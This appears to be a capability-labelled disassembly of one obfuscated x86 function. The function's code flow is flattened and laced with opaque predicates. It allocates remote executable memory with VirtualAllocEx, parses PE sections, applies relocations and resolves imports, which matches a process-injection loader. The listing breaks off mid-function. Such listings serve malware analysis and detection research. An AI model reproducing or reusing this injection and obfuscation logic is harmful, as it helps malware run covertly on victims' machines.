Function at 0x40fbf0
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Get process heap flags
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, 0x4b3f4
call fcn.0041e3f0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4b3f4], eax
mov eax, dword [0x480080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x4b3ec], 0xf959d9d5
mov eax, dword [ebp - 0x4b3ec]
mov dword [ebp - 0x4b3f8], eax
sub eax, 0x832f67ea
je 0x411ccf
jmp 0x40fc38
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x8377a769
je 0x4136b6
jmp 0x40fc4e
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x84fb6422
je 0x4135fd
jmp 0x40fc64
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x85c91dd7
je 0x411f56
jmp 0x40fc7a
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x86e5d2c7
je 0x4131f3
jmp 0x40fc90
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x879a6929
je 0x4140b2
jmp 0x40fca6
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x87aceab7
je 0x412b63
jmp 0x40fcbc
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x8888a47b
je 0x4115e2
jmp 0x40fcd2
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x899533f0
je 0x41397e
jmp 0x40fce8
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x8aadd5e4
je 0x4129f4
jmp 0x40fcfe
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x8f5098a6
je 0x412f3f
jmp 0x40fd14
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x8fefcf1f
je 0x411fd0
jmp 0x40fd2a
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x902d3a90
je 0x4133c3
jmp 0x40fd40
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x90a158ce
je 0x4118f7
jmp 0x40fd56
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x91741a51
je 0x412e39
jmp 0x40fd6c
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x91ba8a4e
je 0x4115d3
jmp 0x40fd82
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x93739648
je 0x4130e9
jmp 0x40fd98
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x943e7c82
je 0x412d7f
jmp 0x40fdae
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x9618fd33
je 0x4115fd
jmp 0x40fdc4
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x9800297c
je 0x4122b5
jmp 0x40fdda
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x986a6632
je 0x412cfc
jmp 0x40fdf0
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x9b94b219
je 0x412c86
jmp 0x40fe06
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x9ba107f2
je 0x412114
jmp 0x40fe1c
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x9c3a4196
je 0x410e58
jmp 0x40fe32
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x9d392eb3
je 0x411b5f
jmp 0x40fe48
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0x9ec727f9
je 0x413877
jmp 0x40fe5e
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xa34bfb03
je 0x413536
jmp 0x40fe74
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xa547998e
je 0x411ffa
jmp 0x40fe8a
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xa6218b71
je 0x414103
jmp 0x40fea0
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xa81c16d4
je 0x411a76
jmp 0x40feb6
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xa954ac04
je 0x4111ea
jmp 0x40fecc
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xac415b33
je 0x41360c
jmp 0x40fee2
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xada96734
je 0x411ee0
jmp 0x40fef8
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xade04002
je 0x414082
jmp 0x40ff0e
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xaf39b02b
je 0x4112d7
jmp 0x40ff24
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xafaf37c0
je 0x411585
jmp 0x40ff3a
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xb0696ab9
je 0x412d70
jmp 0x40ff50
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xb1734f93
je 0x413d22
jmp 0x40ff66
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xb33cdb58
je 0x413481
jmp 0x40ff7c
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xb43f4d23
je 0x4111db
jmp 0x40ff92
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xb4ec6bfc
je 0x411c13
jmp 0x40ffa8
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xb8778f0f
je 0x413629
jmp 0x40ffbe
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xb92d7849
je 0x41218a
jmp 0x40ffd4
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xb9bdbbbe
je 0x412456
jmp 0x40ffea
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xb9c4505a
je 0x412dd7
jmp 0x410000
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xbe0f52a6
je 0x411be9
jmp 0x410016
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xbf1863f3
je 0x413376
jmp 0x41002c
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xbfbcf475
je 0x4129d7
jmp 0x410042
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xbff484ef
je 0x411e89
jmp 0x410058
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xc4712e8f
je 0x4122f1
jmp 0x41006e
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xc4e14ca8
je 0x41169a
jmp 0x410084
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xc6d715ac
je 0x4134ed
jmp 0x41009a
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xc7126fdf
je 0x413770
jmp 0x4100b0
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xc826009f
je 0x413385
jmp 0x4100c6
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xc8680e16
je 0x413d3d
jmp 0x4100dc
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xca2dec75
je 0x4129a0
jmp 0x4100f2
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xcb06e654
je 0x413f11
jmp 0x410108
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xccb3dd18
je 0x4136d3
jmp 0x41011e
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xcf7e1768
je 0x4121e7
jmp 0x410134
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xcfd9f6b4
je 0x412495
jmp 0x41014a
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xd0dbf7bb
je 0x4111f9
jmp 0x410160
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xd0ec0538
je 0x41264e
jmp 0x410176
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xd242ee19
je 0x4130f8
jmp 0x41018c
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xd28ee92c
je 0x413ec8
jmp 0x4101a2
mov eax, dword [ebp - 0x4b3f8]
sub eax, 0xd86174c0
je 0x412e84
push eax
mov eax, esp
mov dword [ebp - 0x4b3b8], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b3b4], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b3b0], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b3ac], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b3a8], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b3a4], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b3a0], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b39c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b398], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b394], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b390], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b38c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b388], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b384], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b380], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b37c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b378], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b374], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b370], eax
mov eax, dword [0x481554]
mov ecx, dword [0x481550]
mov edx, eax
add edx, 0xeabdc97a
sub edx, 1
sub edx, 0xeabdc97a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc79114b
mov ecx, 0xca41d6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0xa954ac04
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0xfd51d999
jmp 0x41410d
lea eax, [ebp - 0x4b21c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041f0f0
add esp, 0xc
lea eax, [ebp - 0x4b260]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0041f0f0
add esp, 0xc
mov dword [ebp - 0x4b260], 0x44
mov eax, dword [ebp - 0x4b3c8]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x4b268], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x4b264], eax
mov eax, dword [ebp - 0x4b3c8]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x4b358], eax
cmp dword [ebp - 0x4b264], 0
setne al
and al, 1
mov byte [ebp - 0x4b351], al
mov dword [ebp - 0x4b3ec], 0x58ec2ade
jmp 0x41410d
mov ecx, dword [0x481554]
mov eax, dword [0x481550]
mov edx, ecx
sub edx, 0x60238bc7
sub edx, 1
add edx, 0x60238bc7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x54cab5cf
mov ecx, 0x7520e142
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b3c8]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x4b21c]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x4b3d0], eax
mov dword [ebp - 0x4b3ec], 0x91ba8a4e
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0x8888a47b
jmp 0x41410d
mov eax, dword [ebp - 0x4b3cc]
mov dword [ebp - 0x4b340], eax
mov dword [ebp - 0x4b3ec], 0x9618fd33
jmp 0x41410d
mov ecx, dword [ebp - 0x4b340]
mov eax, dword [ebp - 0x4b3c0]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.0041f250
add esp, 0xc
mov eax, dword [ebp - 0x4b3c8]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x4b3c8]
movzx ecx, word [ecx + 0x14]
sub eax, 0xf9059a1d
add eax, ecx
add eax, 0xf9059a1d
mov dword [ebp - 0x4b3d4], eax
mov dword [ebp - 0x4b3d8], 0
mov dword [ebp - 0x4b3ec], 0x37410ebc
jmp 0x41410d
mov ecx, dword [0x481554]
mov eax, dword [0x481550]
mov edx, ecx
add edx, 0x3fa84cf2
sub edx, 1
sub edx, 0x3fa84cf2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb1734f93
mov ecx, 0x2b519924
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0xdc862fc0
jmp 0x41410d
mov eax, dword [ebp - 0x4b3cc]
mov dword [ebp - 0x4b320], eax
mov eax, dword [ebp - 0x4b3c8]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4b31c], eax
mov dword [ebp - 0x4b3ec], 0x3efdd6f9
jmp 0x41410d
mov eax, dword [ebp - 0x4b318]
mov edx, dword [ebp - 0x4b314]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x4b3e0], eax
mov dword [ebp - 0x4b3e4], 0
mov eax, dword [0x481554]
mov ecx, dword [0x481550]
mov edx, eax
sub edx, 0x3af74764
sub edx, 1
add edx, 0x3af74764
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe93eda06
mov ecx, 0xec6903de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b3e4]
mov dword [ebp - 0x4b310], eax
lea eax, [ebp - 0x4b268]
add eax, 4
mov dword [ebp - 0x4b30c], eax
mov dword [ebp - 0x4b3ec], 0xb4ec6bfc
jmp 0x41410d
mov eax, dword [ebp - 0x4b30c]
mov esi, dword [eax]
mov edx, dword [ebp - 0x4b310]
mov eax, 0x6a38fd03
mov ecx, 0x7d73639
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b3b0]
mov eax, dword [eax]
mov dword [ebp - 0x4b304], eax
mov eax, dword [ebp - 0x4b3b8]
mov eax, dword [eax]
mov dword [ebp - 0x4b300], eax
mov dword [ebp - 0x4b3ec], 0x1456fd92
jmp 0x41410d
mov eax, dword [ebp - 0x4b3b4]
mov eax, dword [eax]
movzx eax, word [eax]
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, dword [ebp - 0x4b2f0]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [eax]
mov edx, dword [ebp - 0x4b2f4]
sub ecx, 0x6cf0bc8d
add ecx, edx
add ecx, 0x6cf0bc8d
mov dword [eax], ecx
mov dword [ebp - 0x4b3ec], 0xada96734
jmp 0x41410d
mov ecx, dword [0x481554]
mov eax, dword [0x481550]
mov edx, ecx
sub edx, 0x2b3ec8
sub edx, 1
add edx, 0x2b3ec8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2ac265ed
mov ecx, 0x85c91dd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b3b4]
mov ecx, dword [eax]
add ecx, 2
mov eax, dword [ebp - 0x4b3b4]
mov dword [eax], ecx
mov eax, dword [0x481554]
mov ecx, dword [0x481550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2ac265ed
mov ecx, 0x751a1250
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b3b0]
mov eax, dword [eax]
add eax, 0x91dde305
add eax, 1
sub eax, 0x91dde305
mov dword [ebp - 0x4b2ec], eax
mov dword [ebp - 0x4b3ec], 0xa547998e
jmp 0x41410d
mov ecx, dword [0x481554]
mov eax, dword [0x481550]
mov edx, ecx
sub edx, 0xbf355190
sub edx, 1
add edx, 0xbf355190
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe6f3bd2d
mov ecx, 0x177bd88a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov ecx, dword [0x481554]
mov eax, dword [0x481550]
mov edx, ecx
sub edx, 0xe88f22a
sub edx, 1
add edx, 0xe88f22a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xddca26dd
mov ecx, 0xb92d7849
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b2e8]
mov dword [ebp - 0x4b3e0], eax
mov eax, dword [0x481554]
mov ecx, dword [0x481550]
mov edx, eax
add edx, 0xb8804b21
sub edx, 1
sub edx, 0xb8804b21
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xddca26dd
mov ecx, 0xcf7e1768
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0xbe0f52a6
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0x54fe0b00
jmp 0x41410d
mov ecx, dword [0x481554]
mov eax, dword [0x481550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd28ee92c
mov ecx, 0x3e9c97d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b3cc]
mov ecx, dword [ebp - 0x4b3ac]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4b3a8]
imul edx, dword [edx], 0x14
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x4b2d8], eax
mov dword [ebp - 0x4b3ec], 0xcfd9f6b4
jmp 0x41410d
mov eax, dword [0x481554]
mov ecx, dword [0x481550]
mov edx, eax
add edx, 0x543bc059
sub edx, 1
sub edx, 0x543bc059
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb06e654
mov ecx, 0xef20ab1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov ecx, dword [0x481554]
mov eax, dword [0x481550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdc8ccb7c
mov ecx, 0x9783b38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b3a0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x4b2b4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x4b390]
mov dword [eax], ecx
mov dword [ebp - 0x4b3ec], 0xbfbcf475
jmp 0x41410d
mov eax, dword [ebp - 0x4b390]
mov eax, dword [eax]
mov dword [ebp - 0x4b2b0], eax
mov dword [ebp - 0x4b3ec], 0x8aadd5e4
jmp 0x41410d
mov ecx, dword [ebp - 0x4b2b0]
mov eax, dword [ebp - 0x4b3cc]
mov edx, dword [ebp - 0x4b3ac]
mov edx, dword [edx]
mov esi, dword [ebp - 0x4b3a8]
imul esi, dword [esi], 0x14
add edx, esi
mov esi, dword [edx + 0x10]
xor edx, edx
sub edx, esi
sub eax, edx
mov edx, dword [ebp - 0x4b398]
mov edx, dword [edx]
shl edx, 2
sub eax, 0xcc89d918
add eax, edx
mov dword [eax - 0x337626e8], ecx
mov dword [ebp - 0x4b3ec], 0x4a27dab0
jmp 0x41410d
mov eax, dword [0x481554]
mov ecx, dword [0x481550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a4cbfdd
mov ecx, 0x361d258e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov ecx, dword [0x481554]
mov eax, dword [0x481550]
mov edx, ecx
add edx, 0x505d662f
sub edx, 1
sub edx, 0x505d662f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x143a9076
mov ecx, 0x986a6632
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b384]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x4b3d4]
mov ecx, dword [ebp - 0x4b388]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x4b2a0], eax
mov eax, dword [0x481554]
mov ecx, dword [0x481550]
mov edx, eax
sub edx, 0x5edd5cf
sub edx, 1
add edx, 0x5edd5cf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x143a9076
mov ecx, 0xb0696ab9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0x943e7c82
jmp 0x41410d
mov eax, dword [ebp - 0x4b2a0]
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x4b380]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b380]
mov edx, dword [eax]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov eax, 0xffffffff
xor eax, 0x99dda8e7
or edx, ecx
or eax, 0x99dda8e7
xor edx, 0xffffffff
and edx, eax
mov eax, 0x607bfe73
mov ecx, 0xb9c4505a
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b380]
mov eax, dword [eax]
mov dword [ebp - 0x4b29c], eax
mov dword [ebp - 0x4b3ec], 0x76daf1f6
jmp 0x41410d
mov eax, dword [ebp - 0x4b380]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0xe9c7b394
or eax, edx
or ecx, 0xe9c7b394
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4b297], al
mov dword [ebp - 0x4b3ec], 0xd86174c0
jmp 0x41410d
mov eax, dword [0x481554]
mov ecx, dword [0x481550]
mov edx, eax
add edx, 0xd7a384fc
sub edx, 1
sub edx, 0xd7a384fc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x40ffb2d8
mov ecx, 0x6841a223
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0xd242ee19
jmp 0x41410d
mov dl, byte [ebp - 0x4b296]
mov eax, 0x26c3af39
mov ecx, 0xfeff7067
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b384]
mov dword [eax], 4
mov ecx, dword [0x481554]
mov eax, dword [0x481550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xee21a6c1
mov ecx, 0x3ee07022
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0xc826009f
jmp 0x41410d
mov edx, dword [ebp - 0x4b294]
mov eax, 0x630ab8fd
mov ecx, 0x1f7def6b
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov edx, dword [ebp - 0x4b290]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x20000000
mov eax, 0xffffffff
xor eax, 0x1df74e4e
or edx, ecx
or eax, 0x1df74e4e
xor edx, 0xffffffff
and edx, eax
mov eax, 0x630ab8fd
mov ecx, 0x434744e
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b384]
mov dword [eax], 2
mov dword [ebp - 0x4b3ec], 0x2228c01a
jmp 0x41410d
mov eax, dword [0x481554]
mov ecx, dword [0x481550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x72781f66
mov ecx, 0xa34bfb03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0x4832b46a
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0xac415b33
jmp 0x41410d
mov eax, dword [ebp - 0x4b384]
mov eax, dword [eax]
mov dword [ebp - 0x4b288], eax
mov dword [ebp - 0x4b3ec], 0xb8778f0f
jmp 0x41410d
mov eax, dword [ebp - 0x4b3d4]
mov ecx, dword [ebp - 0x4b388]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x4b3cc]
mov eax, dword [ebp - 0x4b3d4]
mov ecx, dword [ebp - 0x4b388]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
sub esi, eax
mov eax, dword [ebp - 0x4b38c]
mov ecx, dword [ebp - 0x4b288]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.0040f9c0
add esp, 0x10
mov dword [ebp - 0x4b3ec], 0x3cdf4691
jmp 0x41410d
mov eax, dword [ebp - 0x4b388]
mov ecx, dword [ebp - 0x4b284]
mov dword [eax], ecx
mov dword [ebp - 0x4b3ec], 0x524b9a5d
jmp 0x41410d
mov ecx, dword fs:[0x30]
